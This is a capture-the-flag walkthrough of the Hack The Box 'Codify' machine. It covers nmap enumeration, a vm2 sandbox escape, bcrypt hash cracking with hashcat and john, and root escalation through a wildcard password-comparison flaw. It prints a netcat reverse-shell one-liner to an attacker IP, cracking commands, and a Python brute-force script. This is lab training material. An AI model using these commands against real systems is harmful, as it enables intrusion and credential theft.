OK, let’s solve the codify machine from Hack the box this time.
It is officially marked as easy, but personally, I felt it was not so easy.
Enumeration
First, let’s see the result of nmap.
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.58s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Codify
3000/tcp open http Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Codify
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
It has web servers called Codify on port 80 and 3000.
Before looking into the web page, let’s add it to the /etc/hosts file.
echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
While exploring the web page, I found an interesting link from the About Us page.
It uses the vm2 library. When I clicked the link, I could see the version of the library.
Next, to find any vulnerabilities, I googled it with the version represented.
Then, I could easily find a vulnerability called sandbox escape.
Also, there was a POC on the GitHub page.
In the script, there is the “execSync(cmd)” part.
It executes the command that I input in cmd.
What if we input a reverse shell command?
When I input it, I could gain access to the shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.13 9999 >/tmp/f
The first time, I noticed I was in as a user called svc.
I checked the /home/svc directory, but there was no user flag for me 🙁
Then, I noticed there was one more user called joshua.
Ok, the next target is joshua.
I explored directories again, and I found a database file in /var/www directory.
The file contains joshua’s hash password!
Let’s decrypt it.
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
I couldn’t recognize the type of hash at a glance, so I searched for it on hashcat wiki page.
bcrypt one looks similar to joshua’s hash password.
I tried this hash mode.
hashcat -a 0 -m 25600 ./joshua_hash.txt /usr/share/wordlists/rockyou.txt
or you can do the same job using john the ripper
john --wordlist=/usr/share/wordlists/rockyou.txt joshua_hash.txt
wait a while, you will see the result of the hash value.
What a cute password.
user flag
Since we know joshua’s password, let’s log in as joshua.
su joshua
after inputting the password, you can see you are in as joshua now.
The user flag is located in /home/joshua.
Let’s move on to the root flag now.
root flag
I think this part is not so easy because it requires a bit of coding skills.
Anyway, let’s see how to escalate to root privilege.
sudo -l
It tells us we can run mysql-backup.sh as root privilege.
My first thought on this was to write a reverse shell code in this file.
However, it is not permitted to edit the file.
I read the file carefully again.
Then I noticed that there was a problem in the password authentication part.
Usually, we compare the string values of passwords. But here, since DB_PASS and USER_PASS are not enclosed by quotes, the line just compares the matching values of the passwords.
Therefore, If we input * (wildcard) as a password, it is recognized as true, so we can succeed in executing the script.
If we take advantage of this problem, it is possible to figure out the password.
For example, we can start from a*. if it fails then b*. go on until it is executed without the error message.
If we find the first letter, then repeat the same job until we find the second correct letter.
ka*, kb* …
However, you can see how daunting it is. It will be horrible if the password contains not only letters but also numbers or special characters.
It would be clever to write a source code to brute force and find out all the correct letters for the password.
Because of this, I think the difficulty of this machine is not easy.
Anyway, I managed to write a source code and it looks like below.
import string
import subprocess
def check_password(p):
command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return "Password confirmed!" in result.stdout
charset = string.ascii_letters + string.digits
password = ""
is_password_found = False
while not is_password_found:
for char in charset:
if check_password(password + char):
password += char
print(password)
break
else:
is_password_found = True
When the script is run, it will find the password in no time for us.
Boom! Look how long the password is.
If I tried it manually, it would be tedious and take a very long time to find the right password.
I can even see the numbers in the password ;(
Now with the root password, let’s change it to root.
Then you can find the root flag located in the /root directory.
That’s all for this machine!